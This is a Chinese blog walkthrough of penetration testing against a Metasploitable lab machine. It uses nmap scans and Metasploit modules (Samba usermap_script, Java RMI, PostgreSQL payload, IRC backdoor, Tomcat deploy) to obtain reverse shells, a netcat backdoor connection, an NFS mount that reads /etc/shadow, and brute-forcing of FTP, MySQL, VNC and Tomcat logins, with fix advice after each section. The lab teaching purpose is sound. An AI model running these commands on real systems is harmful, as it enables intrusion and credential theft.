先使用nmap对端口进行探测 ,可以看到139 和 445 端口都是开放的,而且也爆出了版本信息,方便后续的漏洞利用。

image-20220113140605237

metasploit 漏洞利用

使用 exploit/multi/samba/usermap_script模块

show payloads 使用反弹的paylaod

image-20220113141648621

设置攻击地址

image-20220113141921044

攻击成功,成功获取到root权限

image-20220113142448489

防御修复

show info查看漏洞影响的范围,修复建议方案:升级Samba的版本

msf6 exploit(multi/samba/usermap_script) > show info
​
       Name: Samba "username map script" Command Execution
     Module: exploit/multi/samba/usermap_script
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-05-14
​
Provided by:
  jduck <[email protected]>
​
Available targets:
  Id  Name
  --  ----
  0   Automatic
​
Check supported:
  No
​
Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS  192.168.0.138    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT   139              yes       The target port (TCP)
​
Payload information:
  Space: 1024
​
Description:
  This module exploits a command execution vulnerability in Samba 
  versions 3.0.20 through 3.0.25rc3 when using the non-default 
  "username map script" configuration option. By specifying a username 
  containing shell meta characters, attackers can execute arbitrary 
  commands. No authentication is needed to exploit this vulnerability 
  since this option is used to map usernames prior to authentication!
​
References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  OSVDB (34700)
  http://www.securityfocus.com/bid/23972
  http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
  http://samba.org/samba/security/CVE-2007-2447.html

rlogin最高权限登录

远程登录(rlogin 是一个UNIX命令,它允许授权用户进入网络中的其它UNIX机器并且就像用户在现场操作一样。一旦进入主机,用户可以操作主机允许的任何事情

默认开启的是513端口,512作为验证端口

可以看到开启了512和513端口

image-20220113143414480

使用nmap -sV -p 512,513 IP地址探测目标rlogin版本信息。512用于对远程执行的进程进行验证、利用513端口来反弹bash shell。

使用rlogin可以直接登录并且是root权限

产生漏洞的原因是因为采用了默认配置或者配置错误

修复建议:1.添加root登录验证密码

2.关闭rlogin服务,改用ssh等来管理服务器

反序列化远程命令执行漏洞利用

java rmi

Java RMI指的是远程方法调用(Remote Method Invocation)。它是一种机制,能够让在某个Java虚拟机上的对象调用另一个Java虚拟机中的对象上的方法。一般使用1099端口。

RMI是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。- 个RMI对 象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象, 迫使服 务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。RMI的传输100%基于反序列化。

传输的时候需要先将字符进行序列化形成对象,接收时对象再经过反序列化变成传输的原始数据。

探测目标的rmi

使用nmap -p 1099 -sV IP地址探测目标的版本信息

image-20220113150757807

实际情况下是需要使用漏洞扫描器来进行漏洞的探测的,现在是已知这个服务器有漏洞我们使用已有的poc来进行验证

rmi远程命令执行利用

shi用metasploit中的模块将系统命令执行序列化,传输到rmi serve,rmi在反序列化的过程中会将传输过来的内容当作系统命令进行执行,整个过程是因为metasploit构造了特殊的对象。

使用的攻击模块

multi/misc/java_rmi_server

设置rhosts 默认的payload为 java/meterpreter/reverse_tcp

image-20220113153856946

执行meterpreter 命令

image-20220113154012732

防御和修复方案

1.存在反序列化传输 --需要特别注意

2.存在有缺陷的第三方库如commons-collections 请及时升级库

注意权限设置,使得java rmi这个进程不具备系统命令执行权限

后门连接

某些情况下服务器可能存在某些后门,可以使用nmap进行探测 //连接别个留下的后门的

探测到msf的靶机的1524号端口就存在这么一个后门

image-20220113154438797

使用nc连接后门获得权限

nc 192.168.0.138 1524

image-20220113155001678

还有情况是管理员需要远程连接开启了一个等待远程连接的shell,这个时候我们可以随着管理员的设置去连接shell

3.某些软件本来就存在这样的后门,这样我们就可以直接去连接

防御方法

只开启需要使用的端口,不使用的端口都关闭掉

实时监控网络状态,出现未知的连接要引起重视

NFS获取目标密码文件

image-20220113103237110

和SMB类似 ,默认是2049端口

先使用nmap探测2049端口 ,2049号端口运行的是tcp协议,nfs服务、版本

image-20220113164018701

nmap 192.168.0.138 --script=nfs-* 探测nfs相关的所有信息

image-20220113164350338

探测nfs的目录是否可以导出(可能需要安装nfs-common)

使用showmount命令查看内容是否可以导出 出现内容为 /* 代表可以导出

showmount -e 192.168.0.138

image-20220113164524493

查看导出的内容

mkdir nfs_root //先创建一个可供挂载的文件夹

mount -t nfs IP:/ ~/nfs_root -o nolock //通过nfs将msf靶机文件内容挂载到kali上,并且没有加密

cat ~/nfs_root/etc/shadow //查看msf靶机文件内容

image-20220113165601053

对比可以发现查看的是目标机器根目录下的文件内容

image-20220113165800100

并且可以读取文件信息,包括密码信息

防御建议:对读取的内容做好权限控制,不能将所有的目录进行分享显示。

proftpd漏洞利用

ProFTPD:一个Unix平台上或是类Unix平台上( 如Linux, FreeBSD等)的FTP服务器程序

The ProFTPD Project: Home

探测目标proftpd

image-20220113175011879

通过版本搜索目标漏洞 proftpd 13 可以在exploit-db.com上面搜索是否有相关漏洞

可以自己测试漏洞是否存在

msf暴力破解密码

使用auxiliary/scanner/ftp/ftp_login 模块进行账号和密码的爆破

最直观的修复方式就是升级,但是也要同时也要加强系统内的监控

mysql弱口令破解

MySQL是一个关系型数据库管理系统,由瑞典MySQLAB公司开发,目前属于Oracle旗下产品。 MySQL是最流行的关系型数据库管理系统之一,在WeB应用方面,MySQL是最好的RDBMS (Relational Database Management System,关系数据库管理系统)应用软件。

MySQL是一种关系数据库管理系统,关系数据库将数据保存在不同的表中,而不是将所有数据放在-一个 大仓库内,这样就增加了速度并提高了灵活性。

可以在官网查看到使用文档

官网: MySQL

探测3306端口

image-20220113205552421

使用msf破解登录用户名和密码

use auxiliary/scanner/mysql/mysql_login 设置好登录账号的字典和密码的字典后

返回了攻击成功账户为root 密码为空

image-20220113210415946

使用 mysql -h IP -u root 尝试登录,成功查找到数据

image-20220113210601340

总结:用户名和密码过于简单,将用户名和密码设置复杂,设置登录阀值,登录错误不允许登录,设置端口为其他端口,将mysql禁止外连,或者指定IP能够连接。

postgresql数据库密码破解

postgresql介绍

PostgreSQL是以加州大学伯克利分校计算机系开发的POSTGRES,现在已经更名为PostgreSQL,版本4.2为垫础的对象关系型数据库管理系统(ORDBMS)。PostgreSQL支持大部分SQL标准并且提供了许多其他现代特性:复杂查询、外键、触发器、视图、事务完整性、MVCC。同样,PostgreSQL 可以用许多方法扩展,比如,通过增加新的数据类型、 函数、操作符、聚集函数、索引。免费使用、修改、和分发PostgreSQL,不管是私用、商用、还是学术研究使用。

PostgreSQL: The world's most advanced open source database

探测目标postgresql

nmap -sV -p 5432 IP

探测出的信息为版本号为 8.3.0--8.3.7

image-20220113211241430

使用msf postgresql_login 模块对账号密码进行破解

先使用msf对版本进行探测查看是否有不一样,可以看到探测出来的版本为8.3.1,探测的更加精细一点。但是探测出的可能不是精确,大致范围确定在8.3.x

image-20220113211634418

设定好目标IP后,可以看到默认配置了字典,run 得出了登录的账号和密码

image-20220113211903641

最后可以使用pyadmin登录到postgresql 数据库

也可以选择使用其他命令行进行登录

暴力破解最好的防御方式就是设置复杂的密码

postgresql代码执行

exploit(**linux/postgres/postgres_payload**)

利用msf下面的postgresql 下面的代码执行模块获得反弹shell

使用show info 查看模块说明

msf6 exploit(linux/postgres/postgres_payload) > show info 
​
       Name: PostgreSQL for Linux Payload Execution
     Module: exploit/linux/postgres/postgres_payload
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-06-05
​
Provided by:
  midnitesnake
  egypt <[email protected]>
  todb <[email protected]>
  lucipher
​
Available targets:
  Id  Name
  --  ----
  0   Linux x86
  1   Linux x86_64
​
Check supported:
  Yes
​
Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  DATABASE  template1        yes       The database to authenticate against
  PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
  RHOSTS                     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     5432             yes       The target port
  USERNAME  postgres         yes       The username to authenticate as
  VERBOSE   false            no        Enable verbose output
​
Payload information:
  Space: 65535
​
Description:
  On some default Linux installations of PostgreSQL, the postgres 
  service account may write to the /tmp directory, and may source UDF 
  Shared Libraries from there as well, allowing execution of arbitrary 
  code. This module compiles a Linux shared object file, uploads it to 
  the target host via the UPDATE pg_largeobject method of binary 
  injection, and creates a UDF (user defined function) from that 
  shared object. Because the payload is run as the shared object's 
  constructor, it does not need to conform to specific Postgres API 
  在一些默认的PostgreSQL Linux安装中,postgres服务帐户可以写入/tmp目录,也可以从那里获取UDF共享库,允许执行任意代码。该模块编译一个Linux共享对象文件,通过二进制注入的UPDATE pg largeobject方法将其上传到目标主机,并从该共享对象创建一个UDF(用户定义函数)。因为有效负载是作为共享对象的构造函数运行的,所以它不需要遵循特定的Postgres API
  versions.
​
References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-3280
  http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt

配置好目标IP地址和源IP地址

image-20220113221722913

whoami 可以看到反弹的是postgresql的shell 而不是用户的shell,但是权限还不是最高权限

image-20220113221813238

防御修复方案:

防御:屏蔽任意IP连接postgresql

修复:升级版本,对默认安装好的软件进行安全配置

一般来说在防御的时候升级牵扯到的软件服务可能比较多,一般先进行安全配置,或者屏蔽IP连接到postgresql

VNC密码破解

VNC介绍

VNC (Virtual Network Console)是虚拟网络控制台的缩写。它是一款优秀的远程控制工具软件,由著名的AT&T的欧洲研究实验室开发的。可视化控制,类似于远程桌面,默认vnc服务端运行在5900端口

先使用nmap探测5900端口

image-20220113222429104

使用msf对nvc模块的用户名和密码进行破解

使用 auxiliary/scanner/vnc/vnc_login 模块,可以看到登录成功账号为空 密码为password

image-20220113223102701

使用nvc viewer连接vnc服务器

image-20220113223354713

输入账号和密码进行登录 账号为空 密码为password

image-20220113223518724

最后登录之后就是root权限进行操作

如何进行防御

对vnc设置复杂的密码验证

irc后门利用

irc介绍

IRC是Internet Relay Chat的英文缩写,中文一般称为互联网中继聊天。它是由芬兰人Jarkko Oikarinen于1988年首创的一种网络聊天协议。经过十年的发展,目前世界上有超过60个国家提供了IRC的服务。IRC的工作原理非常简单,您只要在自己的PC上运行客户端软件,然后通过因特网以IRC协议连接到-台IRC服务器上即可。它的特点是速度非常之快,聊天时几乎没有延迟的现象,并且只占用很小的带宽资源。所有用户可以在一个被称为"Channel" (频道)的地方就某一话题进行交谈或密谈。每个IRC的 使用者都有一个Nickname (昵称)。

默认情况下irc运行在6667端口上

使用nmap -sV -p 6667 IP

image-20220113224001432

利用到查找到的服务版本,搜索到可以利用的POC

image-20220113224947336

利用msf中对irc后门连接的模块,连接shell

image-20220113231225601

修复建议:1.升级软件版本 ,2,更换其他软件

tomcat管理密码破解

Tomcat服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。默认情况下,8180端口是tomcat管理的HTTP端口

IIS是开发ASP的首选 ,Apache是开发PHP的首选,默认情况下8180是默认的管理界面

探测8180端口,查看tomcat版本信息

nmap -sV -p 8180 IP

image-20220113232029995

msf破解tomcat密码

使用 auxiliary/scanner/tomcat_mgr_login 模块成功探测出账号和密码为

image-20220113232407016

输入tomcat、tomcat进行登录验证,成功登录到后台

image-20220113232551209

msf利用tomcat upload 功能反弹shell

利用 multi/http/tomcat_mgr_deploy 模块进行利用

image-20220113232950569

成功获取到meterpreter

image-20220113233008008

如何进行防御:修改tomcat的默认密码

redis未授权访问

redis 是一个非关系型的数据库,redis是通过key-value 存储系统(键值数据库)

nosql咩有通用语言,都有自身使用的特定的api

redis官网:Redis

安装redis搭建环境

sudo apt-get install redis-server 安装redis nosql数据库

redis未授权访问

默认情况下,redis监听6379端口,并且可以使用客户端直接连接。登录后使用info命令,查看服务器信息。

默认安装的程序是不允许远程连接的我们先设置能够进行远程连接

配置redis.conf 文件

注释掉 bind 127.0.0.1

重启服务后重新扫描端口状态

redis -cli -h 192.168.0.138 //直接连接服务器

重启后使用nmap扫描可以看到端口是开启的

修复建议:

1、配置bind选项, 限定可以连接Redis服务器的IP,修改Redis的默认端口6379。 2、配置认证,设置requirepass参数。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/MrWiFi/article/details/121880387

智能推荐

7-10 集合划分 (10 分)_7个元素的集合有多少种划分-程序员宅基地

文章浏览阅读973次,点赞3次,收藏3次。当n=4 时,集合{1,2,3,4}可以划分为15个不同的非空子集如下:{{1},{2},{3},{4}},{{1,2},{3},{4}},{{1,3},{2},{4}},{{1,4},{2},{3}},{{2,3},{1},{4}},{{2,4},{1},{3}},{{3,4},{1},{2}},{{1,2},{3,4}},{{1,3},{2,4}},{{1,4},{2,3}},{{1,2,3},{4}},{{1,2,4},{3}},{{1,3,4},{2}},{{2,3,4}_7个元素的集合有多少种划分

全网唯一的echarts树状图——单个节点样式修改_echarts 怎么在修改节点文本使用dom模板-程序员宅基地

文章浏览阅读6.2k次,点赞3次,收藏11次。前段时间一直在用Echarts做一个树状图,本来是挺简单的,Echarts官网也有,不过官网上的节点数据是封装在一个Json文件中去,这里就不再赘述,有兴趣自行去官网查看链接:https://echarts.apache.org/examples/zh/editor.html?c=tree-basicJson数据链接:https://echarts.apache.org/examples/da..._echarts 怎么在修改节点文本使用dom模板

php include传参数,解决PHP的include带参数的有关问题-程序员宅基地

文章浏览阅读1k次。php的include可以载入一个外部php文件,其参数是一个文件名,既然是文件名,就不能带参数了。php中,如果include载入的文件一定要带参数,就只有一种办法,即这个参数是一个全路径的URL地址。例如:include "http://localhost/aaa.php?id=1"; //正确include "aaa.php?id=1"; //错误其实include本义就只是用来载入一个外部..._php include 传参

iOS越狱开发 常用检测Hook 代码 闪退检测断点_ios hook exit-程序员宅基地

文章浏览阅读1.8k次。__attribute__((constructor)) static void entry(){ rebind_symbols((struct rebinding[1]){{"abort", abort_hook, (void *)&abort_old}}, 1); rebind_symbols((struct rebinding[2]){{"exit", ..._ios hook exit

python转dll_python调用dll方法-程序员宅基地

文章浏览阅读376次。【转载】python调用dll方法python调用dll方法来自http://blog.csdn.net/lf8289/article/details/2322550分类:python2008-04-2412:276833人阅读评论(6)收藏举报在python中调用dll文件中的接口比较简单,实例代码如下:如我们有一个test.dll文件,内部定义如下:extern"C"{int__st..._python 转dll 第三方库

hihocoder 1388 Periodic Signal FFT-程序员宅基地

文章浏览阅读204次。最近做了几个FFT的题,实在是如果不记录一下就转头忘了 T T传送门题意:求思路:将上式拆开,那么就变成了,前两项都是固定的值那么我们求的最大值就可以了,n的数据范围为6*1e4,所以要用FFT优化下面是我现在的理解,如果有错还恰巧被大佬看到了,求指出T T如果有两个数组:A:1到n-1;B:1到m-1那么得到的卷积C:1到m+n-2,其中,注意这里

随便推点

JAVA-扫描局域网、自定义网段IP加端口在线设备_局域网设备扫描 java-程序员宅基地

文章浏览阅读4.6k次。JAVA-扫描局域网、自定义网段IP加端口在线设备_局域网设备扫描 java

《C语言及程序设计》实践参考——M$pszi$y是嘛意思-程序员宅基地

文章浏览阅读159次。返回:贺老师课程教学链接实践要求【项目1-M$pszi$y是嘛意思?】背景:小明让同学传纸条给小丽。小丽接到会心一笑,大家却不知所云。纸条上写着M$pszi$y,两人暗中约定是,真实字符为实际字符前面的第4个!M$pszi$y是神马意思?推算一下,或从ASCII码表中查一下,自然是I love u。(1)小明请你写一个程序,在给小丽写情书时,再不..._m$是哪编程语言的语法

MBUS应用笔记/主站-程序员宅基地

文章浏览阅读422次。MBUS主站,TSS721,SSP721_mbus

基于springboot旅游网站_基于springboot的旅游网站-程序员宅基地

文章浏览阅读849次。功能模块:旅游路线、旅游景点、旅游酒店、旅游车票、旅游保险、旅游策略、订单管理、留言管理、数据分析等等。实现了在线预订、统计数据分析等功能。技术路线:springboot、springmvc、maven、layui、mybatis数据库:MySQL系统录屏:链接: https://pan.baidu.com/s/1C519vCBP66ZaoDuEHSYxfw 提取码: gxui首页:后端系统:..._基于springboot的旅游网站

qiankun(乾坤)微前端框架简介_乾坤框架-程序员宅基地

文章浏览阅读4k次,点赞10次,收藏14次。qiankun(乾坤)微前端框架简介_乾坤框架

【图神经网络】 - GNN的几个模型及论文解析(NN4G、GAT、GCN)-程序员宅基地

文章浏览阅读1.3k次,点赞19次,收藏31次。图神经网络(Graph Neural Network,GNN)是指使用神经网络来学习图结构数据,提取和发掘图结构数据中的特征和模式,满足聚类、分类、预测、分割、生成等图学习任务需求的算法总称。

推荐文章

热门文章

相关标签